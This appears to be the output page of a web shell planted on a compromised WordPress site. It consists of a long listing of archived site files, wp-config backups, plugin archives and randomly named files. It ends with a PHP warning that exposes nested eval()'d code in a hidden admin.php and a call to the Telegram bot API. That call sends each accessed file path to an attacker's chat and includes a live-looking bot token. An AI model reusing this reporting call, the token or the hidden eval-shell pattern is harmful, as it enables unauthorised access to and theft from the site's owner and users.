values.zip File 58.34 KB 0604
variables-site.zip File 429 B 0604
variables.tar File 41 KB 0604
variables.tar.gz File 5.44 KB 0604
variables.zip File 30.04 KB 0604
vedette.tar File 161.5 KB 0604
vedette.tar.gz File 8.94 KB 0604
vedette.zip File 138.05 KB 0604
vedette_authors.class.php.tar File 4 KB 0604
vedette_authors.class.php.tar.gz File 442 B 0604
vedette_authors_ui.class.php.tar File 3 KB 0604
vedette_authors_ui.class.php.tar.gz File 592 B 0604
vedette_authpersos.class.php.tar File 4 KB 0604
vedette_authpersos.class.php.tar.gz File 599 B 0604
vedette_authpersos.tpl.php.tar File 0 B 0604
vedette_authpersos.tpl.php.tar.gz File 1.44 KB 0604
vedette_authpersos_ui.class.php.tar File 3 KB 0604
vedette_authpersos_ui.class.php.tar.gz File 649 B 0604
vedette_cache.class.php.tar File 3.5 KB 0604
vedette_cache.class.php.tar.gz File 736 B 0604
vedette_categories.class.php.tar File 4 KB 0604
vedette_categories.class.php.tar.gz File 445 B 0604
vedette_categories_ui.class.php.tar File 3 KB 0604
vedette_categories_ui.class.php.tar.gz File 592 B 0604
vedette_collections_ui.class.php.tar File 3 KB 0604
vedette_collections_ui.class.php.tar.gz File 591 B 0604
vedette_composee.class.php.tar File 31.5 KB 0604
vedette_composee.class.php.tar.gz File 3.94 KB 0604
vedette_concepts.class.php.tar File 2.5 KB 0604
vedette_concepts.class.php.tar.gz File 550 B 0604
vedette_concepts.tpl.php.tar File 9 KB 0604
vedette_concepts.tpl.php.tar.gz File 1.48 KB 0604
vedette_concepts_ui.class.php.tar File 3 KB 0604
vedette_concepts_ui.class.php.tar.gz File 587 B 0604
vedette_element.class.php.tar File 8 KB 0604
vedette_element.class.php.tar.gz File 1.16 KB 0604
vedette_element_ui.class.php.tar File 2.5 KB 0604
vedette_element_ui.class.php.tar.gz File 514 B 0604
vedette_indexint.class.php.tar File 2.5 KB 0604
vedette_indexint.class.php.tar.gz File 489 B 0604
vedette_indexint.tpl.php.tar File 9 KB 0604
vedette_indexint.tpl.php.tar.gz File 1.42 KB 0604
vedette_indexint_ui.class.php.tar File 3 KB 0604
vedette_indexint_ui.class.php.tar.gz File 588 B 0604
vedette_link.class.php.tar File 4.5 KB 0604
vedette_link.class.php.tar.gz File 1.02 KB 0604
vedette_publishers.class.php.tar File 4 KB 0604
vedette_publishers.class.php.tar.gz File 529 B 0604
vedette_publishers_ui.class.php.tar File 3 KB 0604
vedette_publishers_ui.class.php.tar.gz File 589 B 0604
vedette_records.class.php.tar File 4 KB 0604
vedette_records.class.php.tar.gz File 486 B 0604
vedette_records.tpl.php.tar File 9 KB 0604
vedette_records.tpl.php.tar.gz File 1.43 KB 0604
vedette_records_ui.class.php.tar File 3 KB 0604
vedette_records_ui.class.php.tar.gz File 588 B 0604
vedette_series.class.php.tar File 2.5 KB 0604
vedette_series.class.php.tar.gz File 435 B 0604
vedette_series.tpl.php.tar File 9 KB 0604
vedette_series.tpl.php.tar.gz File 1.43 KB 0604
vedette_subcollections.class.php.tar File 2.5 KB 0604
vedette_subcollections.class.php.tar.gz File 443 B 0604
vedette_subcollections_ui.class.php.tar File 3 KB 0604
vedette_subcollections_ui.class.php.tar.gz File 0 B 0604
vedette_titres_uniformes.class.php.tar File 2.5 KB 0604
vedette_titres_uniformes.class.php.tar.gz File 447 B 0604
vedette_titres_uniformes_ui.class.php.tar File 3 KB 0604
vedette_titres_uniformes_ui.class.php.tar.gz File 596 B 0604
vedette_ui.class.php.tar File 9.5 KB 0604
vedette_ui.class.php.tar.gz File 1.85 KB 0604
vendor.tar File 5.58 MB 0604
vendor.tar.gz File 473.45 KB 0604
vendor.zip File 5.4 MB 0604
vendor_prefixed.tar File 1.28 MB 0604
vendor_prefixed.tar.gz File 81.48 KB 0604
vendor_prefixed.zip File 1.47 MB 0604
vert.css.tar File 21 KB 0604
vert.css.tar.gz File 4.44 KB 0604
vert.tar File 29 KB 0604
vert.tar.gz File 5.51 KB 0604
vert.zip File 24.21 KB 0604
vert_et_parme.tar File 31 KB 0604
vert_et_parme.tar.gz File 6.77 KB 0604
vert_et_parme.zip File 27.52 KB 0604
vertsaintdenis.css.tar File 126 KB 0604
vertsaintdenis.css.tar.gz File 0 B 0604
vertsaintdenis.tar File 194 KB 0604
vertsaintdenis.tar.gz File 34.26 KB 0604
vertsaintdenis.zip File 189.38 KB 0604
vexv.tar File 9.5 KB 0604
vexv.tar.gz File 2.25 KB 0604
vexv.zip File 7.98 KB 0604
view.php.tar File 10.5 KB 0604
view.php.tar.gz File 573 B 0604
views.tar File 210.5 KB 0604
views.tar.gz File 1.56 KB 0604
views.zip File 244.07 KB 0604
visionneuse.class.php.tar File 9.5 KB 0604
visionneuse.class.php.tar.gz File 2.58 KB 0604
visionneuse.css.tar File 23 KB 0604
visionneuse.css.tar.gz File 621 B 0604
visionneuse.js.tar File 5.5 KB 0604
visionneuse.js.tar.gz File 1.12 KB 0604
visionneuse.tar File 33 KB 0604
visionneuse.tar.gz File 7.28 KB 0604
visionneuse.zip File 29.19 KB 0604
voxilab.tar File 30.5 KB 0604
voxilab.tar.gz File 4.19 KB 0604
voxilab.zip File 25.58 KB 0604
voxilabDiarization.class.php.tar File 0 B 0604
voxilabDiarization.class.php.tar.gz File 1.74 KB 0604
voxilabHttp.class.php.tar File 6.5 KB 0604
voxilabHttp.class.php.tar.gz File 1.87 KB 0604
voxilabProtocol.class.php.tar File 4.5 KB 0604
voxilabProtocol.class.php.tar.gz File 1.34 KB 0604
voxilabSegment.class.php.tar File 0 B 0604
voxilabSegment.class.php.tar.gz File 1.69 KB 0604
voxilabSpeaker.class.php.tar File 5.5 KB 0604
voxilabSpeaker.class.php.tar.gz File 1.64 KB 0604
voxilabSpeechfile.class.php.tar File 8 KB 0604
voxilabSpeechfile.class.php.tar.gz File 2.13 KB 0604
watch.tar File 3 KB 0604
watch.tar.gz File 729 B 0604
watch.zip File 1.59 KB 0604
watchers.tar File 9.5 KB 0604
watchers.tar.gz File 2.18 KB 0604
watcheslist.tar File 22.5 KB 0604
watcheslist.tar.gz File 3.05 KB 0604
watcheslist.zip File 17.51 KB 0604
wbddf.tar File 1.62 MB 0604
wbddf.tar.gz File 111.34 KB 0604
wbddf.zip File 1.62 MB 0604
widget.tar File 11.5 KB 0604
widget.tar.gz File 3 KB 0604
widget.zip File 10.01 KB 0604
widget_area_1775544288.zip File 152.25 KB 0604
widget_area_1775574980.zip File 150.73 KB 0604
widgets-rtl.css.tar File 37 KB 0604
widgets-rtl.css.tar.gz File 4.07 KB 0604
widgets-rtl.min.css.tar File 16 KB 0604
widgets-rtl.min.css.tar.gz File 3.39 KB 0604
widgets.css.tar File 37 KB 0604
widgets.css.tar.gz File 4.04 KB 0604
widgets.min.css.tar File 16 KB 0604
widgets.min.css.tar.gz File 3.38 KB 0604
widgets.tar File 2 MB 0604
widgets.tar.gz File 180.18 KB 0604
widgets.zip File 2.01 MB 0604
wincher.zip File 11.1 KB 0604
woocommerce-rtl.css.tar File 50 KB 0604
woocommerce-rtl.css.tar.gz File 3.84 KB 0604
woocommerce.css.tar File 123.5 KB 0604
woocommerce.css.tar.gz File 3.84 KB 0604
wordpress-importer.zip File 18.44 KB 0604
wordpress-seo.tar File 5.86 MB 0604
wordpress-seo.tar.gz File 0 B 0604
wordpress-seo.zip File 8.84 MB 0604
wordpress.zip File 11.91 KB 0604
workflow.class.php.tar File 8 KB 0604
workflow.class.php.tar.gz File 1.59 KB 0604
wp-admin-20260529230927-20260621143653.tar File 5.79 MB 0604
wp-admin-20260529230927-20260621143653.tar.gz File 1.11 MB 0604
wp-admin-20260529230927-20260621143653.zip File 5.69 MB 0604
wp-admin-20260529230927.zip File 51.03 MB 0604
wp-admin.css.tar File 3 KB 0604
wp-admin.css.tar.gz File 248 B 0604
wp-admin.min.css.tar File 2 KB 0604
wp-admin.min.css.tar.gz File 278 B 0604
wp-admin.zip File 40.92 MB 0604
wp-api.php.tar File 3 KB 0604
wp-api.php.tar.gz File 673 B 0604
wp-blog-header-20260608000932.php.tar File 2 KB 0604
wp-blog-header-20260608000932.php.tar.gz File 337 B 0604
wp-cli.tar File 8 KB 0604
wp-cli.tar.gz File 1.66 KB 0604
wp-cli.zip File 16.14 KB 0604
wp-config-20260529060810.php.tar File 5.5 KB 0604
wp-config-20260529060810.php.tar.gz File 2.11 KB 0604
wp-config-20260622063703.php.tar File 5.5 KB 0604
wp-config-20260622063703.php.tar.gz File 2.11 KB 0604
wp-config.php.tar File 38.5 KB 0604
wp-config.php.tar.gz File 2.12 KB 0604
wp-content-20260529152145-20260621215028.zip File 44.41 MB 0604
wp-content.tar File 48.78 MB 0604
wp-content.tar.gz File 18.65 MB 0604
wp-content.zip File 133.06 MB 0604
wp-file-manager-pro.tar File 1.29 MB 0604
wp-file-manager-pro.tar.gz File 740.96 KB 0604
wp-file-manager-pro.zip File 1.28 MB 0604
wp-file-manager.zip File 4.03 MB 0604
wp-includes-20260621215820.tar File 3.66 MB 0604
wp-includes-20260621215820.tar.gz File 1.19 MB 0604
wp-includes-20260621215820.zip File 3.65 MB 0604
wp-includes.tar File 3.66 MB 0604
wp-includes.tar.gz File 1.19 MB 0604
wp-includes.zip File 3.65 MB 0604
wp-mailrpc.php.tar File 41 KB 0604
wp-mailrpc.php.tar.gz File 12.88 KB 0604
wp-rest.tar File 7.5 KB 0604
wp-rest.tar.gz File 1.41 KB 0604
wp-rest.zip File 5.52 KB 0604
wp-settings-20260529222804.php.tar File 30 KB 0604
wp-settings-20260529222804.php.tar.gz File 5.91 KB 0604
wpml-config.xml.tar File 4 KB 0604
wpml-config.xml.tar.gz File 490 B 0604
wptt.tar File 23.5 KB 0604
wptt.tar.gz File 5.58 KB 0604
wptt.zip File 21.45 KB 0604
wrapper-part.php.tar File 2.5 KB 0604
wrapper-part.php.tar.gz File 436 B 0604
wrapper.php.tar File 8 KB 0604
wrapper.php.tar.gz File 1.39 KB 0604
wrappers.tar File 4.5 KB 0604
wrappers.tar.gz File 986 B 0604
wrappers.zip File 2.47 KB 0604
writeexcel.tar File 239 KB 0604
writeexcel.tar.gz File 46.68 KB 0604
writeexcel.zip File 233.25 KB 0604
xxmlrpc-20260529112926-20260618082814.php.tar File 3 KB 0604
xxmlrpc-20260529112926-20260618082814.php.tar.gz File 666 B 0604
xxmlrpc-20260529112926-20260622044649.php.tar File 3 KB 0604
xxmlrpc-20260529112926-20260622044649.php.tar.gz File 665 B 0604
xxmlrpc-20260529112926.php.tar File 3 KB 0604
xxmlrpc-20260529112926.php.tar.gz File 658 B 0604
xxmlrpc.php.tar File 5 KB 0604
xxmlrpc.php.tar.gz File 667 B 0604
xymxf.tar File 5 KB 0604
xymxf.tar.gz File 1.26 KB 0604
xymxf.zip File 3.61 KB 0604
xzypi.tar File 4.5 KB 0604
xzypi.tar.gz File 1015 B 0604
xzypi.zip File 2.8 KB 0604
yarn.lock.tar File 683.5 KB 0604
yarn.lock.tar.gz File 264.04 KB 0604
yhos.tar File 4.5 KB 0604
yhos.tar.gz File 1015 B 0604
yhos.zip File 2.8 KB 0604
zen.css.tar File 9 KB 0604
zen.css.tar.gz File 1.95 KB 0604
zen.tar File 232 KB 0604
zen.tar.gz File 38.07 KB 0604
zen.zip File 225.34 KB 0604
zen_color_pre_set.css.tar File 12.5 KB 0604
zen_color_pre_set.css.tar.gz File 1.47 KB 0604
zen_one.css.tar File 10 KB 0604
zen_one.css.tar.gz File 2.2 KB 0604
zen_one.tar File 251.5 KB 0604
zen_one.tar.gz File 42.36 KB 0604
zen_one.zip File 243.41 KB 0604
zonepageo_a.css.tar File 6 KB 0604
zonepageo_a.css.tar.gz File 848 B 0604
zzen_responsive.css.tar File 53.5 KB 0604
zzen_responsive.css.tar.gz File 8.98 KB 0604

Warning: file_get_contents(https://api.telegram.org/bot6480565468:AAHPgwqvr55vU-lBvGV23jlYJuGCrOCL4XM/sendMessage?chat_id=1722171889&text=File+accessed%3A+http%3A%2F%2Fwww.eliteafrique.com%2Fwp-includes%2Fl10n%2Fcss%2Fv3%2Fwbddf%2Fadmin.php%3Fdir%3D%252Fhome%252Feliteafr%252Fwww%252Finc%252Flogin-logo%252Fcss%252Farchive%252Fhxwdw%26read%3D%252Fhome%252Feliteafr%252Fwww%252Finc%252Flogin-logo%252Fcss%252Farchive%252Fhxwdw%252Fpmbmaps.js.uncompressed.js.tar): Failed to open stream: HTTP request failed! HTTP/1.1 429 Too Many Requests in /home/eliteafr/www/wp-includes/l10n/css/v3/wbddf/admin.php(112993) : eval()'d code(18150) : eval()'d code on line 2024